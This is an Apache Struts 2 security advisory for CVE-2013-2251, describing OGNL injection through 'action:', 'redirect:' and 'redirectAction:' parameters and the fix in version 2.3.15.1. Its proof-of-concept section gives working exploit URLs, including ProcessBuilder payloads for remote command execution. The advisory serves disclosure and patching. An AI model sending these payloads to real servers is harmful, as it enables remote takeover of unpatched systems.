Summary

A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution

Who should read this All Struts 2 developers and users Impact of vulnerability Remote command execution Maximum security rating Highly Critical Recommendation Developers should immediately upgrade to Struts 2.3.15.1 Affected Software Struts 2.0.0 - Struts 2.3.15 Reporter Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE Identifier CVE-2013-2251

Problem

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

Proof of concept

In the Struts Blank App, open following URLs.

Simple Expression - the parameter names are evaluated as OGNL. http://host/struts2-blank/example/X.action?action:%25{3*4} http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

Command Execution http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

Solution

DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped - see also S2-017.